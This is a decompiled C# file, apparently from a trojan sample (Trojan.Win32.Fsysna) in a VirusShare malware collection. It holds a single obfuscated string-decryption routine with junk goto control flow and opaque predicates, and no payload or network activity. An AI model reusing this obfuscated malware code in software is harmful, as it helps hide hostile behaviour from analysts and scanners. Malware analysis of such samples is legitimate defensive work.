// Decompiled with JetBrains decompiler
// Type: xb9d8bb5e6df032aa.x1110bdd110cdcea4
// Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe

namespace xb9d8bb5e6df032aa
{
  public class x1110bdd110cdcea4
  {
    public static string _d574bb1a8f3e9cbc(string x5e99b576d2530d13, int x2710752c36f2d14b)
    {
      ushort num1 = (ushort) x2710752c36f2d14b;
      char[] chArray;
      if ((x2710752c36f2d14b & 0) == 0)
      {
label_8:
        chArray = new char[x5e99b576d2530d13.Length / 4];
label_2:
        int index = 0;
        bool flag = (uint) index + (uint) num1 > uint.MaxValue;
        ushort num2;
        if (!flag || ((int) num2 | -1) != 0)
          goto label_10;
label_3:
        if (!flag)
        {
          if ((index & 0) == 0)
            goto label_10;
        }
        else
          goto label_8;
label_5:
        if ((uint) num2 - (uint) num2 >= 0U)
          goto label_15;
label_6:
        if ((uint) x2710752c36f2d14b + (uint) x2710752c36f2d14b >= 0U)
        {
          flag = (uint) x2710752c36f2d14b - (uint) x2710752c36f2d14b > uint.MaxValue;
          goto label_3;
        }
        else
          goto label_16;
label_10:
        if (index < x5e99b576d2530d13.Length / 4)
        {
          if ((index | 4) != 0)
          {
            do
            {
              num2 = (ushort) ((uint) (ushort) ((int) x5e99b576d2530d13[4 * index] - 97 + ((int) x5e99b576d2530d13[4 * index + 1] - 97 << 4) + ((int) x5e99b576d2530d13[4 * index + 2] - 97 << 8) + ((int) x5e99b576d2530d13[4 * index + 3] - 97 << 12)) - (uint) num1);
              chArray[index] = (char) num2;
              num1 += (ushort) 1789;
              ++index;
            }
            while ((uint) flag + (uint) num2 > uint.MaxValue);
            goto label_6;
          }
        }
        else
          goto label_13;
label_12:
        if ((uint) num1 + (uint) flag >= 0U && !flag)
        {
          if ((uint) flag <= uint.MaxValue)
            goto label_5;
          else
            goto label_2;
        }
        else
          goto label_8;
label_13:
        if (true)
        {
          flag = ((int) num2 | 15) == 0;
          goto label_12;
        }
      }
label_15:
      string str = new string(chArray);
label_16:
      return str;
    }
  }
}